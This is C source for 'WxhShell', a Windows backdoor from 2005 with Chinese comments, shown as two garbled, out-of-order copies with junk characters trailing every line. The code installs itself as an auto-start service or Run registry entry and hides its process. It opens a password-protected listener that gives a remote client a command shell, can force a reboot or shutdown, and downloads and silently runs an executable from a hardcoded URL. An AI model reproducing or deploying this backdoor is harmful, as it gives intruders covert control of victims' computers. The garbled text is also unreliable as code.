    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w\KO1 Ob  
    if(Boot(SHUTDOWN)) PgAC3%M6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YC4S,fY`  
    else { tUl#sqN_{  
    closesocket(wsh); F*rU=cu  
    ExitThread(0); H27_T]\  
    } TI:-Y@8  
    break; T1?fC)  
    } s=Pwkte  
  // 获取shell $-Q,@Bztq  
  case 's': {  q%,q"WU  
    CmdShell(wsh); Iz^~=yV)  
    closesocket(wsh); zh)qo  
    ExitThread(0); N ~L3 9  
    break; 6rMGl zuRo  
  } D]v=/43  
  // 退出 @#Jc!p7)  
  case 'x': { r-'(_t~FT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Iq.*2aff+  
    CloseIt(wsh); D1t@Y.vl  
    break; &!#,p{}ccU  
    } roYoxF;\  
  // 离开 )~;=0O |X  
  case 'q': { Ua]shSjyI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =@;uDu:Q  
    closesocket(wsh); ]N}80*Rl  
    WSACleanup(); g@hg u   
    exit(1); Az[Yvu'<  
    break; !vHUe*1a{  
        } c?5e|dZz  
  } W4Nbl  
  } F`-|@k  
w;}pebL:  
  // 提示信息 Q~<$'j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y!* \=h6h  
} Am&/K\O  
  } +{N LziO  
i>i@r ;:|  
  return; :Lqz`  
} bIt%KG{PY6  
@V:4tG.<sw  
// shell模块句柄 LL@VR#n"V  
int CmdShell(SOCKET sock) -S\74hA  
{ 6f/>o$  
STARTUPINFO si; 0TK+R43_  
ZeroMemory(&si,sizeof(si)); 8?!=/Sc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1?sR1du,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p*E_Po  
PROCESS_INFORMATION ProcessInfo; |&lAt \  
char cmdline[]="cmd"; FI{9k(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o^%4w>|  
  return 0; Q]Q]kj2  
} l/0TNOA  
.dwb@$  
// 自身启动模式 w%;Z`Xn&u  
int StartFromService(void) cN_e0;*Ua  
{ gE'b.04Y9i  
typedef struct H^sPC{6+pf  
{ 2 >G"A  
  DWORD ExitStatus; ]@_M)[ x  
  DWORD PebBaseAddress; {t`UV,  
  DWORD AffinityMask; =o]V!MW  
  DWORD BasePriority; W#!![JDc  
  ULONG UniqueProcessId; '^ "6EF.R  
  ULONG InheritedFromUniqueProcessId; G>f-w F6  
}   PROCESS_BASIC_INFORMATION; Yoi4R{9c  
i~:FlW]  
PROCNTQSIP NtQueryInformationProcess; g &~T X  
] )D\ws)a9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; os*QWSs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %cJ]Ds%V  
~jMdM~}  
  HANDLE             hProcess; _=@9XvNM  
  PROCESS_BASIC_INFORMATION pbi; (wLzkV/6  
Q| > \{M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wo=Q7~  
  if(NULL == hInst ) return 0; Rr+Y::E  
KY$6=/?U_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mwLp~z%OX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Kt3/C'zu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *L> gZ`Q  
`~Nd4EA)2  
  if (!NtQueryInformationProcess) return 0; =;Gy"F1 dp  
"pTyQT9P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oW3{&vfz  
  if(!hProcess) return 0; 9NvV{WI-1  
4jEPh{q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j&)"a,f  
6KP"F[8I  
  CloseHandle(hProcess); 6-C9[[g<  
0]3%BgZ(a8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Hp;Dp!PLa  
if(hProcess==NULL) return 0; JK0L&t<  
{#YGor|  
HMODULE hMod; @(2DfrC  
char procName[255]; fwB+f` w`  
unsigned long cbNeeded; 13(JW  
AA34JVm]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RbUBKMZ U  
+` g&J  
  CloseHandle(hProcess); Z7?C^m  
}.w@. S"  
if(strstr(procName,"services")) return 1; // 以服务启动 Q- 78B'!=  
7KU/ 1l9$9  
  return 0; // 注册表启动 b489sa  
} 3Tv;<hF  
X?5M)MP+I  
// 主模块 1MV\Jm  
int StartWxhshell(LPSTR lpCmdLine) ilL] pU-  
{ A`2l;MW  
  SOCKET wsl; @A6 P[r  
BOOL val=TRUE; X& EcQ  
  int port=0; o(5Xj$Z  
  struct sockaddr_in door; JJlwzH  
;7CE{/Bq.p  
  if(wscfg.ws_autoins) Install(); $'!r/jV  
Z'iXuI49  
port=atoi(lpCmdLine); Bgs3sM9  
ka3Jqy4[  
if(port<=0) port=wscfg.ws_port; sS#Lnj^`%  
;\yY*  
  WSADATA data; `h+ia/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wlr/zquAE9  
R:HF~}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cd,)GF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s\g"~2+  
  door.sin_family = AF_INET; CbTYt6DC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6u^M fOc  
  door.sin_port = htons(port); rxtp?|v9  
r<4FF=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +BcJHNIB  
closesocket(wsl); qv|geBW  
return 1; 7N0V`&}T  
} .} <$2.  
.zf#S0y%(  
  if(listen(wsl,2) == INVALID_SOCKET) { aV3:wp]Gn  
closesocket(wsl); `PK1zSr  
return 1; T^YdAQeE  
} iW\cLp "  
  Wxhshell(wsl); *ZP$dQ  
  WSACleanup(); cSy{*K{B  
d;UP|c>2  
return 0; KO/Z|I  
_IiTB  
} {p&M(W]  
d>@&[C!28  
// 以NT服务方式启动 !ckmNE0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3>%oGbo  
{ Z>1\|j  
DWORD   status = 0; m~a'  
  DWORD   specificError = 0xfffffff; g2;!AI5f  
#`R`!4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v:0.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~_^#/BnAl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k fS44NV  
  serviceStatus.dwWin32ExitCode     = 0; 0 =#)-n  
  serviceStatus.dwServiceSpecificExitCode = 0; h6c0BmS{1  
  serviceStatus.dwCheckPoint       = 0; t3%[C;@wB  
  serviceStatus.dwWaitHint       = 0; lJHV c"*/  
^b)8l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g/Q hI  
  if (hServiceStatusHandle==0) return; ]#>;C:L  
$oKT-G  
status = GetLastError(); <RzGxhT  
  if (status!=NO_ERROR) eZ+pZq  
{ n<47#-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Bu4J8eLx  
    serviceStatus.dwCheckPoint       = 0; PScq-*^  
    serviceStatus.dwWaitHint       = 0; T0Lh"_X3  
    serviceStatus.dwWin32ExitCode     = status; JD1IL` ta;  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9AQMB1D*v4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LlAMtw"  
    return; }!{9tc$<b  
  } ] ;X[xs  
F!m/n!YR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0c*y~hUVZ  
  serviceStatus.dwCheckPoint       = 0; PYWp2V/  
  serviceStatus.dwWaitHint       = 0; X1Vx 6+[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \%Wu`SlDp9  
} 5&V0(LT]C  
p^1s9CM%  
// 处理NT服务事件,比如:启动、停止 /.!ytHw8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o'nju.'  
{ _ZUtQ49  
switch(fdwControl) owYf1=G  
{ +dd\_\  
case SERVICE_CONTROL_STOP: {.=4;   
  serviceStatus.dwWin32ExitCode = 0; 2S'{$m)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m,U Mb#7Y  
  serviceStatus.dwCheckPoint   = 0; .|=~x3mPw  
  serviceStatus.dwWaitHint     = 0; ;{@ [ek6  
  { .ET@J`"M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $kPC"!X\  
  } >|h$d:~n  
  return; zq ;YE  
case SERVICE_CONTROL_PAUSE: ^~iu),gu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .{,PC  
  break; %-C   
case SERVICE_CONTROL_CONTINUE: pRS+vV3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @ 63Uk2{W>  
  break; Jv*[@ -.k  
case SERVICE_CONTROL_INTERROGATE: rGjP|v@3^  
  break; &3a1(>(7F  
}; i co%_fp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xb`,9.a7  
} ry bs9:_}  
c s0;:H*N*  
// 标准应用程序主函数 09FHE/L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~dkN`1$v  
{ 05_aL` &eb  
=2;2_u?  
// 获取操作系统版本 Z x&gr|)}  
OsIsNt=GetOsVer(); 0K/?8[#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); alu3CE  
Q4;eN w  
  // 从命令行安装 r3.A!*!  
  if(strpbrk(lpCmdLine,"iI")) Install(); M[aF3bbN  
1eiV[z$?  
  // 下载执行文件 3{wr*L1%-~  
if(wscfg.ws_downexe) { 3Yu1ZuIR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A6D.bJ)  
  WinExec(wscfg.ws_filenam,SW_HIDE); _^{!`*S  
} p6=L}L  
4x8e~/  
if(!OsIsNt) { 1;O%8sp&  
// 如果时win9x,隐藏进程并且设置为注册表启动 /W4F(3oM  
HideProc(); &OpGcbf1  
StartWxhshell(lpCmdLine); Ur^~fW1 o  
} 6 <&jY  
else t^N 92$|  
  if(StartFromService()) a>w@9   
  // 以服务方式启动 *=+m;%]_  
  StartServiceCtrlDispatcher(DispatchTable); z D&5R/I  
else d1&RK2  
  // 普通方式启动 <A%}  
  StartWxhshell(lpCmdLine); ~nul[>z  
!VNLjbee.  
return 0; :-Gf GL>]  
} 879x(JII  
O0|**Km\+  
'3B\I#  
cY&SKV#  
=========================================== G-5wv  
kVu8/*Q  
bwH l}3  
w.tQ)x1h  
Q<TD5t9  
y]1:IJL2;  
" TRB)cJZ?  
d=?Kk4Ag  
#include <stdio.h> KC@F"/h`/  
#include <string.h> aD5jy  
#include <windows.h> ",U>;`  
#include <winsock2.h> Y\CR*om!W  
#include <winsvc.h> _,S L;*G4|  
#include <urlmon.h> T(< [k:`  
014p= W  
#pragma comment (lib, "Ws2_32.lib") P<Wtv;Z1Z  
#pragma comment (lib, "urlmon.lib") g[Tl#X7F  
sY @S  
#define MAX_USER   100 // 最大客户端连接数 ohI>\  
#define BUF_SOCK   200 // sock buffer eVRFb#EU0e  
#define KEY_BUFF   255 // 输入 buffer -K+" :kiS  
eh`sfH  
#define REBOOT     0   // 重启 @y )'h]d  
#define SHUTDOWN   1   // 关机 d[h2Y/AR  
'A#`,^]uLF  
#define DEF_PORT   5000 // 监听端口 -c%K_2`  
)9(Mt _  
#define REG_LEN     16   // 注册表键长度 RPb/U8  
#define SVC_LEN     80   // NT服务名长度 Vfm (K  
&`` dI,NC  
// 从dll定义API ho 5mH{"OV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `R}q&|o7<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); axf4N@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /CpU.^V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e1*<9&S  
o6{[7jI  
// wxhshell配置信息 Mi|PhDXMh  
struct WSCFG { >]6 inS9  
  int ws_port;         // 监听端口 [&IJy  
  char ws_passstr[REG_LEN]; // 口令  bnll-G|  
  int ws_autoins;       // 安装标记, 1=yes 0=no z|';Y!kQ  
  char ws_regname[REG_LEN]; // 注册表键名 `5VEGSP]  
  char ws_svcname[REG_LEN]; // 服务名 <2{CR0]u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gz>M Y4+G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <<xUh|zE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B/P E{ /  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9XU"Ppv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iy{n"#uX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xwSi}.  
+ -[M 7J  
}; $UgQ1Qc  
| rY.IbL  
// default Wxhshell configuration RR*eq.;  
struct WSCFG wscfg={DEF_PORT, @-uV6X8|  
    "xuhuanlingzhe", sbWen?  
    1, BvXA9YQ3  
    "Wxhshell", D1Yc_  
    "Wxhshell", y)`f$Hl@1  
            "WxhShell Service", -2)6QKh~D  
    "Wrsky Windows CmdShell Service", O26'|w@$  
    "Please Input Your Password: ", ]_8bX}_n  
  1, u`%Kh_  
  "http://www.wrsky.com/wxhshell.exe", (A\X+S(  
  "Wxhshell.exe" g;N)K3\2  
    }; 80i-)a\n  
]u;Ma G=;  
// 消息定义模块 x1g0_&F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; );8Nj zX1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5"x=kp>!d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _$wXHONt  
char *msg_ws_ext="\n\rExit."; <=]wh|D  
char *msg_ws_end="\n\rQuit."; 0nz=whS{  
char *msg_ws_boot="\n\rReboot..."; U"Gg ,  
char *msg_ws_poff="\n\rShutdown..."; HnDz4eD  
char *msg_ws_down="\n\rSave to "; ?CaMn b8  
 ,\HZIl[8  
char *msg_ws_err="\n\rErr!"; J$9`[^pV  
char *msg_ws_ok="\n\rOK!"; ^A4bsoW  
Ro&s\T+d  
char ExeFile[MAX_PATH]; 4$j7DJ8dj  
int nUser = 0; v[3QI7E3  
HANDLE handles[MAX_USER]; zz4TJ('  
int OsIsNt; Z *9Qeu-N:  
H9@24NFb  
SERVICE_STATUS       serviceStatus; m :6.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PP2>v|  
f)~j'e  
// 函数声明 QD<GXPu?N  
int Install(void); `k^d)9  
int Uninstall(void); YQ\c0XG  
int DownloadFile(char *sURL, SOCKET wsh); DEdJH4  
int Boot(int flag); J}$St|1y  
void HideProc(void); av}Giz  
int GetOsVer(void); [8-. T4  
int Wxhshell(SOCKET wsl); 15o<'4|=Lm  
void TalkWithClient(void *cs); Gxtqzr*  
int CmdShell(SOCKET sock); v-(Ry<fT9  
int StartFromService(void); *bi!iz5F  
int StartWxhshell(LPSTR lpCmdLine); tWBfIHiha  
Y|*a,H"_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OGDCC/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MF7q*f  
5Op|="W.  
// 数据结构和表定义 f!|$!r*q  
SERVICE_TABLE_ENTRY DispatchTable[] = 3Pj#k|(f[0  
{ 7P& O{tl(  
{wscfg.ws_svcname, NTServiceMain}, ({"jL*S,q  
{NULL, NULL} A/WmVv6  
}; \`FpBE_e)  
KdBE[A-1^M  
// 自我安装 2j9+ f{ l  
int Install(void) S< TUZ /;  
{ )SX2%&N  
  char svExeFile[MAX_PATH]; @-L4<=$J  
  HKEY key; 7GY3 _`  
  strcpy(svExeFile,ExeFile); Cb`2"mpWS  
*B$$6'hi`  
// 如果是win9x系统,修改注册表设为自启动 91|0{1  
if(!OsIsNt) { OA_WjTwDs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'Gr}<B$A3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q+Sx5JUR~  
  RegCloseKey(key); vz\^Aa #fv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ng1{ NI+S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SxAZ2|/-  
  RegCloseKey(key); 6k1;62Ntk  
  return 0; kYwV0xQ  
    } Hp#IOsP~  
  } ^HO'"/tB@D  
} GN&-`E]-  
else { ~d9R:t1  
lQkCA-  
// 如果是NT以上系统,安装为系统服务 |8DMj s()*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u\&F`esQ2  
if (schSCManager!=0) ;ui=7[ Us  
{ &l&B[s6[  
  SC_HANDLE schService = CreateService ,Q7W))j  
  ( 5a0&LNm  
  schSCManager, KOYU'hw  
  wscfg.ws_svcname, p3Ey[kURp  
  wscfg.ws_svcdisp, z2/E?$(  
  SERVICE_ALL_ACCESS, &8w MGahp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j'2:z#  
  SERVICE_AUTO_START, s-S#qGZ  
  SERVICE_ERROR_NORMAL, :n%KHen3\  
  svExeFile, a 8(mU%  
  NULL, +NM`y=@@  
  NULL, 3Z taj^v  
  NULL, pA~eGar_J  
  NULL, +\Zr\fOe|%  
  NULL 4s <|8   
  ); "DpgX8lG_  
  if (schService!=0) D^\gU-8M  
  { <w9<G  
  CloseServiceHandle(schService); ZQ MK1  
  CloseServiceHandle(schSCManager); p+ki1! Ed  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .huk>  
  strcat(svExeFile,wscfg.ws_svcname); @xq jAcfg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a7Xa3 vlpO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (**k4c,  
  RegCloseKey(key); oP%'8%tk  
  return 0; eHIsTL@Fp  
    } <kc9KE  
  } +nOa&d\  
  CloseServiceHandle(schSCManager); bb@3%r|_<  
} [k<w'n*  
} 4ayZ.`aK  
)<>1Q{j@  
return 1; EN\ uX!  
} ]:K[{3iM  
v 7g?  
// 自我卸载 DJ]GM|?  
int Uninstall(void) 5N5Deb#V  
{ V1d{E 0lM  
  HKEY key; %F.^cd"  
I<&(Dg|XQ  
if(!OsIsNt) { u/,ng&!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9 M<3m  
  RegDeleteValue(key,wscfg.ws_regname); fxcCz 5  
  RegCloseKey(key); '^6jRI,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i*3*)ly  
  RegDeleteValue(key,wscfg.ws_regname); (Y[q2b  
  RegCloseKey(key); ;_TPJy  
  return 0; vIK+18v7  
  } k~|5TO  
} /Y7Yy jMi  
} ~4}'R_  
else { 8b!-2d:*  
LOPw0@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :krdG%r  
if (schSCManager!=0) m7n8{J1O2  
{ EPn0ZwnS:M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #]MV  
  if (schService!=0) Y!0ZwwW  
  { k04CSzE"%  
  if(DeleteService(schService)!=0) { eGEeWJ}[$  
  CloseServiceHandle(schService); ;vkk$ -  
  CloseServiceHandle(schSCManager); ]NRQM8\  
  return 0;  FTk`Mq  
  } %s(Ri6R&  
  CloseServiceHandle(schService); D'UYHc {  
  } ;bh[TmQTJ  
  CloseServiceHandle(schSCManager); \0'0)@uziQ  
} |GqKa  
} 0DR:qw  
xBevf&tP  
return 1; /z(;1$Ld6{  
} V39`J*fI  
D( YNa  
// 从指定url下载文件 F8T.}qI  
int DownloadFile(char *sURL, SOCKET wsh) 4^>FN"Ve`B  
{ 7c7:B2Lq  
  HRESULT hr; !#' y#  
char seps[]= "/"; !I UH 5  
char *token; >AUj4d  
char *file; s${|A =  
char myURL[MAX_PATH]; +o*&JoC  
char myFILE[MAX_PATH]; ~a RK=i$F  
9U=~t%qW$  
strcpy(myURL,sURL); CEMe2~  
  token=strtok(myURL,seps); Ga9^+.j  
  while(token!=NULL) 7L"Pe'Hw  
  {  +bC=yR  
    file=token; r'/H3  
  token=strtok(NULL,seps); x]X!nx6G  
  } {r.yoI4e  
9[7Gxmf  
GetCurrentDirectory(MAX_PATH,myFILE); So^;5tG  
strcat(myFILE, "\\"); l A1l  
strcat(myFILE, file); `VzjXJw  
  send(wsh,myFILE,strlen(myFILE),0); _=s{,t &u  
send(wsh,"...",3,0); ^|+;~3<J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 12bt\ h9  
  if(hr==S_OK) hZ;[}5T\<S  
return 0; B+w< 0No  
else b+DBz}L4  
return 1; )c"m:3D@  
_R ] qoUw;  
} >qT4'1S*g  
/"LcW"2;N  
// 系统电源模块 d0"Xlle ld  
int Boot(int flag) v? VNWK2  
{ '*XX|\.  
  HANDLE hToken; g,,'Pdd7Pn  
  TOKEN_PRIVILEGES tkp; {;0+N -U  
? 016  
  if(OsIsNt) { N%K%0o-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s<;kTReA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MNzWTn@  
    tkp.PrivilegeCount = 1; <dAD-2O+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q/N1q&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9}_ccq  
if(flag==REBOOT) { 6k%Lc4W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,f(:i^iz!  
  return 0; A['0~tOP  
} e>a4v8  
else { WdvXVF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (='e9H!3D  
  return 0; ra[*E4P9L*  
} q8 _8rp-@  
  } <JyF5  
  else { d4]9oi{}  
if(flag==REBOOT) { kTQvMa-X9D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OU /=wpt  
  return 0; mO1r~-~AJ  
} /O$7A7Tl  
else { o(5eb;"yi>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HAtf/E]  
  return 0; JPq2C\Ka  
} wm<`0}  
} / ~\ I  
m+7/ebj{A  
return 1; >#[u"CB  
} 2U Q&n`A  
i;GF/pi  
// win9x进程隐藏模块 %Uz 5Ve  
void HideProc(void) l2lyi  
{ TODTR7yGo  
m+ww  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ; wpX  
  if ( hKernel != NULL ) /`b(} m  
  { dhAkD-Lh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -{tB&V~+v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HT: p'Yyi  
    FreeLibrary(hKernel); *sPG,6>  
  } j0F'I*Z3  
'q:t48&  
return; ff3HR+%M  
} 0:SR29(p1  
3cH`>#c  
// 获取操作系统版本 MkCq$MA  
int GetOsVer(void)  erW[q  
{ mTsl"A>  
  OSVERSIONINFO winfo; {@7{!I|eD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s,*kWy"jp  
  GetVersionEx(&winfo); 6L)]nE0^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q-qM"8I  
  return 1; P t)Ni  
  else 8>KBh)q  
  return 0; bx5f\)  
} 3r[}'ba\  
H}[kit*9  
// 客户端句柄模块 R;{y]1u  
int Wxhshell(SOCKET wsl) r-,P  
{ |~Op|gs  
  SOCKET wsh; 0';U3:=i,  
  struct sockaddr_in client; I5$@1+B  
  DWORD myID; >n^| eAH  
;Wws;.~  
  while(nUser<MAX_USER) F.%g_Xvk:  
{ =%\y E0#  
  int nSize=sizeof(client); l1utk8'-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :4(.S<fH)-  
  if(wsh==INVALID_SOCKET) return 1; uoIvFcb^  
D_W,Jmet  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o_K. +^$  
if(handles[nUser]==0) Z|h&Zd1z  
  closesocket(wsh); =mq02C~y  
else e9 `n@  
  nUser++; Uo7V)I;o  
  } h ?Ni5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3,QsB<9Is  
9\aR{e,1  
  return 0; QS*!3? %  
} O6[,K1,  
yHka7D  
// 关闭 socket FuKp`T-H  
void CloseIt(SOCKET wsh) fF\s5f#:  
{ )U~,q>H+ %  
closesocket(wsh); Y~j )B\^{  
nUser--; >C1**GQ  
ExitThread(0); zh<[ /'l  
} eVVm"96Q.;  
xXJl Qbs  
// 客户端请求句柄 9MmAoLm  
void TalkWithClient(void *cs) *&m{)cTs  
{ '|9fDzW"]  
rerl-T<3  
  SOCKET wsh=(SOCKET)cs; J'%  
  char pwd[SVC_LEN]; <DM /"^*  
  char cmd[KEY_BUFF]; OjUZ-_J  
char chr[1]; &f:"p*=a\  
int i,j; '4L0=G:A<q  
Rqk;!N  
  while (nUser < MAX_USER) { S S/9fT"[  
)Hp{8c  
if(wscfg.ws_passstr) { 6^Q Bol  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _"Bh 3 7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TCC([  
  //ZeroMemory(pwd,KEY_BUFF); I`~ofq?r  
      i=0; rTgCmr'&  
  while(i<SVC_LEN) { + \DGS  
CfSpwkg  
  // 设置超时 )sh+cfTCb  
  fd_set FdRead; 4}4K6y<q  
  struct timeval TimeOut; h^tU*"   
  FD_ZERO(&FdRead); ex- 0@  
  FD_SET(wsh,&FdRead); bw@"MF{  
  TimeOut.tv_sec=8; /hojm6MM  
  TimeOut.tv_usec=0; >sUavvJ~x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +~E;x1&'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p\7(`0?8VN  
*G<K@k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S:*.,zC  
  pwd=chr[0]; ?dJ[? <aG  
  if(chr[0]==0xd || chr[0]==0xa) { 6zJ<27  
  pwd=0; [+q':T1W-  
  break; >AbgJ*X.  
  } @Yv.HhO9  
  i++; 7({"dW  
    } %LH~Im=  
Spnshv8  
  // 如果是非法用户,关闭 socket Nan@SuKY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %`kO\q_  
} 7V^\fh5~  
x}8 U\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sNet[y:O3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w;LIP!T#  
Jj_ t0"  
while(1) { O,&nCxB]  
kb27$4mm  
  ZeroMemory(cmd,KEY_BUFF); $rb #k{  
?8g*"& cn  
      // 自动支持客户端 telnet标准   :r{;'[38  
  j=0; GkhaB(btk'  
  while(j<KEY_BUFF) { oi@/H\7j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j J}3WJ  
  cmd[j]=chr[0]; yc#0c[ZQu  
  if(chr[0]==0xa || chr[0]==0xd) { lji&]^1  
  cmd[j]=0; X0h`g)Bbf  
  break; th$?#4SbR  
  } *gq~~(jH  
  j++; Z'vic#  
    } O>5xFz'm  
PD- <D~7  
  // 下载文件 tSP)'N<  
  if(strstr(cmd,"http://")) { n#{z"G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4\cJ}p}LZ{  
  if(DownloadFile(cmd,wsh)) ~HW}Wik  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f.Uvf^T}2  
  else mHm"QBa!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z qM:'x*  
